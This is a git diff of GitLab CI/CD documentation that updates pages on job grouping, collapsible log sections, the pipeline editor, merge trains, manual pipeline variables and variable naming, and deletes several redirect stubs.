[GitLab CI Live Demo](https://youtu.be/l5705U8s_nQ?t=369) with a deeper overview of GitLab CI/CD. +[Get a deeper look at GitLab CI/CD](https://youtu.be/l5705U8s_nQ?t=369). diff --git a/doc/ci/jenkins/index.md b/doc/ci/jenkins/index.md deleted file mode 100644 index 3f720ef959e..00000000000 --- a/doc/ci/jenkins/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../migration/jenkins.md' ---- - -This document was moved to [another location](../migration/jenkins.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index c985a5b00ef..d1fe6db3ee4 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -133,12 +133,29 @@ In the pipeline, the result is a group named `build ruby` with three jobs:  -The jobs are be ordered by comparing the numbers from left to right. You +The jobs are ordered by comparing the numbers from left to right. You usually want the first number to be the index and the second number to be the total. [This regular expression](https://gitlab.com/gitlab-org/gitlab/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99) evaluates the job names: `\d+[\s:\/\\]+\d+\s*`. +### Improved job grouping + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52644) in GitLab 13.9. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's enabled on GitLab.com. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../administration/feature_flags.md). **(FREE SELF)** + +Job grouping is evaluated with an improved regular expression to group jobs by name: + +- `([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z`. + +The new implementation removes one or more `: [...]`, `X Y`, `X/Y`, or `X\Y` sequences +from the **end** of job names only. + +Matching substrings occuring at the beginning or in the middle of build names are +no longer removed. + ## Specifying variables when running manual jobs > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30485) in GitLab 12.2. @@ -150,9 +167,9 @@ additional variables. To access this page, click on the **name** of the manual j the pipeline view, *not* the play (**{play}**) button. This is useful when you want to alter the execution of a job that uses -[custom environment variables](../variables/README.md#custom-environment-variables). +[custom CI/CD variables](../variables/README.md#custom-cicd-variables). Add a variable name (key) and value here to override the value defined in -[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-environment-variables), +[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-cicd-variables), for a single run of the manual job.  @@ -196,8 +213,8 @@ You can create [collapsible sections in job logs](#expand-and-collapse-job-log-s by manually outputting special codes that GitLab uses to determine what sections to collapse: -- Section start marker: `section_start:UNIX_TIMESTAMP:SECTION_NAME\r\e[0K` + `TEXT_OF_SECTION_HEADER` -- Section end marker: `section_end:UNIX_TIMESTAMP:SECTION_NAME\r\e[0K` +- Section start marker: `\e[0Ksection_start:UNIX_TIMESTAMP:SECTION_NAME\r\e[0K` + `TEXT_OF_SECTION_HEADER` +- Section end marker: `\e[0Ksection_end:UNIX_TIMESTAMP:SECTION_NAME\r\e[0K` You must add these codes to the script section of the CI configuration. For example, using `echo`: @@ -205,9 +222,9 @@ using `echo`: ```yaml job1: script: - - echo -e "section_start:`date +%s`:my_first_section\r\e[0KHeader of the 1st collapsible section" + - echo -e "\e[0Ksection_start:`date +%s`:my_first_section\r\e[0KHeader of the 1st collapsible section" - echo 'this line should be hidden when collapsed' - - echo -e "section_end:`date +%s`:my_first_section\r\e[0K" + - echo -e "\e[0Ksection_end:`date +%s`:my_first_section\r\e[0K" ``` In the example above: @@ -223,9 +240,9 @@ In the example above: Sample raw job log: ```plaintext -section_start:1560896352:my_first_section\r\e[0KHeader of the 1st collapsible section +\e[0Ksection_start:1560896352:my_first_section\r\e[0KHeader of the 1st collapsible section this line should be hidden when collapsed -section_end:1560896353:my_first_section\r\e[0K +\e[0Ksection_end:1560896353:my_first_section\r\e[0K ``` ### Pre-collapse sections @@ -236,7 +253,7 @@ You can make the job log automatically collapse collapsible sections by adding t Add `[collapsed=true]` after the section name and before the `\r`. The section end marker remains unchanged: -- Section start marker with `[collapsed=true]`: `section_start:UNIX_TIMESTAMP:SECTION_NAME[collapsed=true]\r\e[0K` + `TEXT_OF_SECTION_HEADER` +- Section start marker with `[collapsed=true]`: `\e[0Ksection_start:UNIX_TIMESTAMP:SECTION_NAME[collapsed=true]\r\e[0K` + `TEXT_OF_SECTION_HEADER` - Section end marker: `section_end:UNIX_TIMESTAMP:SECTION_NAME\r\e[0K` Add the updated section start text to the CI configuration. For example, @@ -245,7 +262,7 @@ using `echo`: ```yaml job1: script: - - echo -e "section_start:`date +%s`:my_first_section[collapsed=true]\r\e[0KHeader of the 1st collapsible section" + - echo -e "\e[0Ksection_start:`date +%s`:my_first_section[collapsed=true]\r\e[0KHeader of the 1st collapsible section" - echo 'this line should be hidden automatically after loading the job log' - - echo -e "section_end:`date +%s`:my_first_section\r\e[0K" + - echo -e "\e[0Ksection_end:`date +%s`:my_first_section\r\e[0K" ``` diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md deleted file mode 100644 index 2ae17df0933..00000000000 --- a/doc/ci/junit_test_reports.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'unit_test_reports.md' ---- - -This document was moved to [unit_test_reports](unit_test_reports.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md index 35b4a2de8f8..aff18b0889f 100644 --- a/doc/ci/large_repositories/index.md +++ b/doc/ci/large_repositories/index.md @@ -114,6 +114,11 @@ For example, if your project contains a large number of tags that your CI jobs d you could add [`--no-tags`](https://git-scm.com/docs/git-fetch#Documentation/git-fetch.txt---no-tags) to the extra flags to make your fetches faster and more compact. +Also in the case where you repository does _not_ contain a lot of +tags, `--no-tags` can [make a big difference in some +cases](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/746). +If your CI builds do not depend on Git tags it is worth trying. + See the [`GIT_FETCH_EXTRA_FLAGS` documentation](../runners/README.md#git-fetch-extra-flags) for more information. diff --git a/doc/ci/lint.md b/doc/ci/lint.md index ec3c128f076..3888a750d6a 100644 --- a/doc/ci/lint.md +++ b/doc/ci/lint.md @@ -1,11 +1,13 @@ --- -stage: none -group: unassigned +stage: Verify +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- <!-- markdownlint-disable MD044 --> +<!-- vale gitlab.Spelling = NO --> # Validate .gitlab-ci.yml syntax with the CI Lint tool <!-- markdownlint-enable MD044 --> +<!-- vale gitlab.Spelling = YES --> If you want to test the validity of your GitLab CI/CD configuration before committing the changes, you can use the CI Lint tool. This tool checks for syntax and logical diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md index 999d15eac24..5c3cf6ec02e 100644 --- a/doc/ci/merge_request_pipelines/index.md +++ b/doc/ci/merge_request_pipelines/index.md @@ -166,9 +166,10 @@ Read the [documentation on Pipelines for Merged Results](pipelines_for_merged_re Read the [documentation on Merge Trains](pipelines_for_merged_results/merge_trains/index.md). -## Run pipelines in the parent project for merge requests from a forked project **(STARTER)** +## Run pipelines in the parent project for merge requests from a forked project **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217451) in GitLab 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217451) in GitLab 13.3. +> - [Moved](https://about.gitlab.com/blog/2021/01/26/new-gitlab-product-subscription-model/) to GitLab Premium in 13.9. By default, external contributors working from forks can't create pipelines in the parent project. When a pipeline for merge requests is triggered by a merge request diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md index e5b9ad030d0..edfedbc2527 100644 --- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md +++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md @@ -84,9 +84,10 @@ To enable merge trains for your project: 1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag) is set correctly. 1. [Configure your CI/CD configuration file](../../index.md#configuring-pipelines-for-merge-requests) so that the pipeline or individual jobs run for merge requests. -1. Visit your project's **Settings > General** and expand **Merge requests** -1. Check **Enable merged results pipelines.** (if not enabled) -1. Check **Enable merge trains.** +1. Visit your project's **Settings > General** and expand **Merge requests**. +1. In the **Merge method** section, verify that **Merge commit** is selected. + You cannot use **Merge commit with semi-linear history** or **Fast-forward merge** with merge trains. +1. In the **Merge options** section, select **Enable merged results pipelines.** (if not already selected) and **Enable merge trains.** 1. Click **Save changes** In GitLab 13.5 and earlier, there is only one checkbox, named @@ -209,7 +210,7 @@ Trains, create a new pipeline for merged results when this error occurs: See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135) for more information. -### Merge Trains feature flag **(PREMIUM ONLY)** +### Merge Trains feature flag **(PREMIUM SELF)** In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/244831), you can [enable or disable merge trains in the project settings](#enable-merge-trains). diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 5d217466f5c..0a44232efd3 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -15,7 +15,7 @@ comparison to see what's different. We have collected several resources that you may find useful before starting to migrate. -The [Quick Start Guide](../quick_start/README.md) is a good overview of how GitLab CI/CD works. You may also be interested in [Auto DevOps](../../topics/autodevops/index.md) which can be used to build, test, and deploy your applications with little to no configuration needed at all. +The [Quick Start Guide](../quick_start/index.md) is a good overview of how GitLab CI/CD works. You may also be interested in [Auto DevOps](../../topics/autodevops/index.md) which can be used to build, test, and deploy your applications with little to no configuration needed at all. For advanced CI/CD teams, [custom project templates](../../user/admin_area/custom_project_templates.md) can enable the reuse of pipeline configurations. @@ -265,14 +265,14 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [variables](../variables/README.md#group-level-environment-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-level-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs There are two GitLab issues open addressing CircleCI Orbs and how GitLab can achieve similar functionality. -- <https://gitlab.com/gitlab-com/Product/-/issues/1151> -- <https://gitlab.com/gitlab-org/gitlab/-/issues/195173> +- [issue #1151](https://gitlab.com/gitlab-com/Product/-/issues/1151) +- [issue #195173](https://gitlab.com/gitlab-org/gitlab/-/issues/195173) ## Build environments diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 71d5e6eb859..1424868401e 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -15,11 +15,11 @@ before diving in. Think of this page as a "GitLab CI/CD for Jenkins Users" guide The following list of recommended steps was created after observing organizations that were able to quickly complete this migration: -1. Start by reading the GitLab CI/CD [Quick Start Guide](../quick_start/README.md) and [important product differences](#important-product-differences). +1. Start by reading the GitLab CI/CD [Quick Start Guide](../quick_start/index.md) and [important product differences](#important-product-differences). 1. Learn the importance of [managing the organizational transition](#managing-the-organizational-transition). 1. [Add runners](../runners/README.md) to your GitLab instance. 1. Educate and enable your developers to independently perform the following steps in their projects: - 1. Review the [Quick Start Guide](../quick_start/README.md) and [Pipeline Configuration Reference](../yaml/README.md). + 1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/README.md). 1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs. 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#using-components-of-auto-devops) the configuration as needed. 1. Add [Review Apps](../review_apps/index.md). @@ -79,7 +79,7 @@ There are some high level differences between the products worth mentioning: - from the [GitLab UI](../pipelines/index.md#run-a-pipeline-manually) - by [API call](../triggers/README.md) - by [webhook](../triggers/README.md#triggering-a-pipeline-from-a-webhook) - - by [ChatOps](../chatops/README.md) + - by [ChatOps](../chatops/index.md) - You can control which jobs run in which cases, depending on how they are triggered, with the [`rules` syntax](../yaml/README.md#rules). @@ -188,7 +188,7 @@ pdf: expire_in: 1 week ``` -Additionally, we have package management features like a built-in container, NPM, and Maven registry that you +Additionally, we have package management features like built-in container and package registries that you can leverage. You can see the complete list of packaging features in the [Packages & Registries](../../user/packages/index.md) documentation. @@ -209,7 +209,7 @@ as well as encourage inner sourcing. In self-managed GitLab instances, you can build an [Instance Template Repository](../../user/admin_area/settings/instance_template_repository.md). Development teams across the whole organization can select templates from a dropdown menu. -A group administrator is able to set a group to use as the source for the +A group maintainer or a group owner is able to set a group to use as the source for the [custom project templates](../../user/admin_area/custom_project_templates.md), which can be used by all projects in the group. An instance administrator can set a group as the source for [instance project templates](../../user/group/custom_project_templates.md), diff --git a/doc/ci/multi_project_pipeline_graphs.md b/doc/ci/multi_project_pipeline_graphs.md deleted file mode 100644 index 66efa0a7c35..00000000000 --- a/doc/ci/multi_project_pipeline_graphs.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'multi_project_pipelines.md' ---- - -This document was moved to [another location](multi_project_pipelines.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index 006d6bda0e0..4c186b8a64e 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -68,7 +68,7 @@ outbound connections for upstream and downstream pipeline dependencies. When using: -- Variables or [`rules`](yaml/README.md#rulesif) to control job behavior, the value of +- CI/CD Variables or [`rules`](yaml/README.md#rulesif) to control job behavior, the value of the [`$CI_PIPELINE_SOURCE` predefined variable](variables/predefined_variables.md) is `pipeline` for multi-project pipeline triggered through the API with `CI_JOB_TOKEN`. - [`only/except`](yaml/README.md#onlyexcept-basic) to control job behavior, use the @@ -114,7 +114,7 @@ the `staging` job is marked as _failed_. When using: -- Variables or [`rules`](yaml/README.md#rulesif) to control job behavior, the value of +- CI/CD variables or [`rules`](yaml/README.md#rulesif) to control job behavior, the value of the [`$CI_PIPELINE_SOURCE` predefined variable](variables/predefined_variables.md) is `pipeline` for multi-project pipelines triggered with a bridge job (using the [`trigger:`](yaml/README.md#trigger) keyword). @@ -162,11 +162,11 @@ of the user that ran the trigger job in the upstream project. If the user does n have permission to run CI/CD pipelines against the protected branch, the pipeline fails. See [pipeline security for protected branches](pipelines/index.md#pipeline-security-on-protected-branches). -### Passing variables to a downstream pipeline +### Passing CI/CD variables to a downstream pipeline #### With the `variables` keyword -Sometimes you might want to pass variables to a downstream pipeline. +Sometimes you might want to pass CI/CD variables to a downstream pipeline. You can do that using the `variables` keyword, just like you would when defining a regular job. @@ -183,7 +183,7 @@ staging: ``` The `ENVIRONMENT` variable is passed to every job defined in a downstream -pipeline. It is available as an environment variable when GitLab Runner picks a job. +pipeline. It is available as a variable when GitLab Runner picks a job. In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream` @@ -220,7 +220,7 @@ the ones defined in the upstream project take precedence. #### With variable inheritance -You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#inherit-environment-variables) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs). +You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#inherit-cicd-variables) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs). In the upstream pipeline: @@ -261,7 +261,7 @@ test: ### Mirroring status from triggered pipeline > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Core in 12.8. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. You can mirror the pipeline status from the triggered pipeline to the source bridge job by using `strategy: depend`. For example: diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index d088d0d7e4d..bc1c02bc48c 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -156,7 +156,11 @@ build a matrix of targets and architectures. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [Create child pipelines using dynamically generated configurations](https://youtu.be/nMdfus2JWHM). -We also have an [example project using Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/). +<!-- vale gitlab.Spelling = NO --> +We also have an example project using +[Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) +which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/). +<!-- vale gitlab.Spelling = NO --> The artifact path is parsed by GitLab, not the runner, so the path must match the syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows @@ -176,7 +180,10 @@ pipelines, which was later increased to two. A parent pipeline can trigger many pipelines, and these child pipelines can trigger their own child pipelines. It's not possible to trigger another level of child pipelines. -## Pass variables to a child pipeline +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For an overview, see [Nested Dynamic Pipelines](https://youtu.be/C5j3ju9je2M). + +## Pass CI/CD variables to a child pipeline -You can [pass variables to a downstream pipeline](multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline) +You can [pass CI/CD variables to a downstream pipeline](multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline) the same way as for multi-project pipelines. diff --git a/doc/ci/permissions/README.md b/doc/ci/permissions/README.md deleted file mode 100644 index 897d7b6ce51..00000000000 --- a/doc/ci/permissions/README.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../user/permissions.md#gitlab-cicd-permissions' ---- - -This document was moved to [user/permissions.md](../../user/permissions.md#gitlab-cicd-permissions). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipeline_editor/img/pipeline_editor_commit_v13_8.png b/doc/ci/pipeline_editor/img/pipeline_editor_commit_v13_8.png Binary files differindex cc1f666f319..fcafc984ce4 100644 --- a/doc/ci/pipeline_editor/img/pipeline_editor_commit_v13_8.png +++ b/doc/ci/pipeline_editor/img/pipeline_editor_commit_v13_8.png diff --git a/doc/ci/pipeline_editor/index.md b/doc/ci/pipeline_editor/index.md index 61b8e289509..9f4a1afe2f9 100644 --- a/doc/ci/pipeline_editor/index.md +++ b/doc/ci/pipeline_editor/index.md @@ -5,13 +5,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Pipeline Editor **(CORE)** +# Pipeline Editor **(FREE)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4540) in GitLab 13.8. > - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default. > - It's enabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-pipeline-editor). **(CORE ONLY)** +> - It's recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-pipeline-editor). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -25,11 +25,12 @@ From the pipeline editor page you can: - Do a deeper [lint](#lint-ci-configuration) of your configuration, that verifies it with any configuration added with the [`include`](../yaml/README.md#include) keyword. - See a [visualization](#visualize-ci-configuration) of the current configuration. +- View an [expanded](#view-expanded-configuration) version of your configuration. - [Commit](#commit-changes-to-ci-configuration) the changes to a specific branch. NOTE: -You must have already [created a CI/CD configuration file](../quick_start/README.md#create-a-gitlab-ciyml-file) -to use the editor. +You must already have [a `.gitlab-ci.yml` file](../quick_start/index.md#create-a-gitlab-ciyml-file) +on the default branch (usually `master`) of your project to use the editor. ## Validate CI configuration @@ -62,26 +63,29 @@ reflected in the CI lint. It displays the same results as the existing [CI Lint > - It was [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/290117) in GitLab 13.8. > - It's enabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cicd-configuration-visualization). **(CORE ONLY)** +> - It's recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cicd-configuration-visualization). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. +It is not accessible if the [pipeline editor is disabled](#enable-or-disable-pipeline-editor). -To see a visualization of your `gitlab-ci.yml` configuration, navigate to **CI/CD > Editor** -and select the `visualization` tab. The visualization shows all stages and jobs. -[`needs`](../yaml/README.md#needs) relationships are displayed as lines connecting jobs together, showing the hierarchy of execution: +To view a visualization of your `gitlab-ci.yml` configuration, in your project, +go to **CI/CD > Editor**, and then select the **Visualize** tab. The +visualization shows all stages and jobs. Any [`needs`](../yaml/README.md#needs) +relationships are displayed as lines connecting jobs together, showing the +hierarchy of execution:  -Hovering on a job highlights its `needs` relationships: +Hover over a job to highlight its `needs` relationships:  If the configuration does not have any `needs` relationships, then no lines are drawn because each job depends only on the previous stage being completed successfully. -### Enable or disable CI/CD configuration visualization **(CORE ONLY)** +### Enable or disable CI/CD configuration visualization **(FREE SELF)** CI/CD configuration visualization is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. @@ -100,6 +104,40 @@ To enable it: Feature.enable(:ci_config_visualization_tab) ``` +## View expanded configuration + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/246801) in GitLab 13.9. +> - It is [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-expanded-configuration). **(FREE SELF)** + +To view the fully expanded CI/CD configuration as one combined file, go to the +pipeline editor's **View merged YAML** tab. This tab displays an expanded configuration +where: + +- Configuration imported with [`include`](../yaml/README.md#include) is copied into the view. +- Jobs that use [`extends`](../yaml/README.md#extends) display with the + [extended configuration merged into the job](../yaml/README.md#merge-details). +- YAML anchors are [replaced with the linked configuration](../yaml/README.md#anchors). + +### Enable or disable expanded configuration **(FREE SELF)** + +Expanded CI/CD configuration is under development and not ready for production use. +It is deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to enable it. + +To enable it: + +```ruby +Feature.enable(:ci_config_visualization_tab) +``` + +To disable it: + +```ruby +Feature.disable(:ci_config_visualization_tab) +``` + ## Commit changes to CI configuration The commit form appears at the bottom of each tab in the editor so you can commit @@ -113,9 +151,9 @@ checkbox appears. Select it to start a new merge request after you commit the ch  -## Enable or disable pipeline editor **(CORE ONLY)** +## Enable or disable pipeline editor **(FREE SELF)** -The pipeline editor is under development and not ready for production use. It is +The pipeline editor is under development but ready for production use. It is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) can disable it. diff --git a/doc/ci/pipelines.md b/doc/ci/pipelines.md deleted file mode 100644 index 090dbd3d347..00000000000 --- a/doc/ci/pipelines.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'pipelines/index.md' ---- - -This document was moved to [another location](pipelines/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipelines/img/job_artifacts_merge_request.png b/doc/ci/pipelines/img/job_artifacts_merge_request.png Binary files differindex fa1ed9acbf8..e87839ceeca 100644 --- a/doc/ci/pipelines/img/job_artifacts_merge_request.png +++ b/doc/ci/pipelines/img/job_artifacts_merge_request.png diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index 7920a3bf7f3..6bc0d9bddd9 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -77,7 +77,7 @@ You can also configure specific aspects of your pipelines through the GitLab UI. - [Pipeline settings](settings.md) for each project. - [Pipeline schedules](schedules.md). -- [Custom CI/CD variables](../variables/README.md#custom-environment-variables). +- [Custom CI/CD variables](../variables/README.md#custom-cicd-variables). ### Ref Specs for Runners @@ -132,10 +132,6 @@ Pipelines can be manually executed, with predefined or manually-specified [varia You might do this if the results of a pipeline (for example, a code build) are required outside the normal operation of the pipeline. -[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/30101), -all global variables with descriptions defined in the `.gitlab-ci.yml` file are -displayed in the variable fields. - To execute a pipeline manually: 1. Navigate to your project's **CI/CD > Pipelines**. @@ -143,10 +139,33 @@ To execute a pipeline manually: 1. On the **Run Pipeline** page: 1. Select the branch to run the pipeline for in the **Create for** field. 1. Enter any [environment variables](../variables/README.md) required for the pipeline run. + You can set specific variables to have their [values prefilled in the form](#prefill-variables-in-manual-pipelines). 1. Click the **Create pipeline** button. The pipeline now executes the jobs as configured. +#### Prefill variables in manual pipelines + +> [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. + +You can use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) +keywords to define [variables](../variables/README.md) that are prefilled when running +a pipeline manually. + +In pipelines triggered manually, the **Run pipelines** page displays all variables +with a `description` and `value` defined in the `.gitlab-ci.yml` file. The values +can then be modified if needed, which overrides the value for that single pipeline run. + +The description is displayed below the variable. It can be used to explain what +the variable is used for, what the acceptable values are, and so on: + +```yaml +variables: + DEPLOY_ENVIRONMENT: + value: "staging" # Deploy to staging by default + description: "The deployment target. Change this variable to 'canary' or 'production' if needed." +``` + ### Run a pipeline by using a URL query string > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24146) in GitLab 12.5. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index 4c77a578aa4..cf8e4e71534 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -150,7 +150,7 @@ in merge requests. For more information, see > - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in GitLab 13.2. > - Requires GitLab Runner 11.5 and above. -The `codequality` report collects [CodeQuality issues](../../user/project/merge_requests/code_quality.md) +The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md) as artifacts. The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests. @@ -168,9 +168,11 @@ The collected SAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security dashboards. -#### `artifacts:reports:secret_detection` **(ULTIMATE)** +#### `artifacts:reports:secret_detection` > - Introduced in GitLab 13.1. +> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab + 13.3. > - Requires GitLab Runner 11.5 and above. The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md) @@ -482,6 +484,12 @@ a project, you can disable this behavior to save space: 1. Navigate to **Settings > CI/CD > Artifacts**. 1. Uncheck **Keep artifacts from most recent successful jobs**. +You can disable this behavior for all projects on a self-managed instance in the +[instance's CI/CD settings](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines). **(CORE ONLY)** + +When you disable the feature, the latest artifacts do not immediately expire. +A new pipeline must run before the latest artifacts can expire and be deleted. + ## Troubleshooting ### Error message `No files to upload` @@ -490,7 +498,7 @@ This is often preceded by other errors or warnings that specify the filename and generated in the first place. Please check the entire job log for such messages. If you find no helpful messages, please retry the failed job after activating -[CI debug logging](../variables/README.md#debug-logging). +[CI/CD debug logging](../variables/README.md#debug-logging). This provides useful information to investigate further. <!-- ## Troubleshooting diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md index de78b8558c4..faebf40462e 100644 --- a/doc/ci/pipelines/pipeline_efficiency.md +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -20,7 +20,7 @@ to use pipeline features that improve efficiency right away, and get a faster so development lifecycle earlier. First ensure you are familiar with [GitLab CI/CD fundamentals](../introduction/index.md) -and understand the [quick start guide](../quick_start/README.md). +and understand the [quick start guide](../quick_start/index.md). ## Identify bottlenecks and common failures @@ -161,7 +161,7 @@ Try to find which jobs don't need to run in all situations, and use pipeline con to stop them from running: - Use the [`interruptible`](../yaml/README.md#interruptible) keyword to stop old pipelines - when they are superceded by a newer pipeline. + when they are superseded by a newer pipeline. - Use [`rules`](../yaml/README.md#rules) to skip tests that aren't needed. For example, skip backend tests when only the frontend code is changed. - Run non-essential [scheduled pipelines](schedules.md) less frequently. @@ -235,7 +235,7 @@ 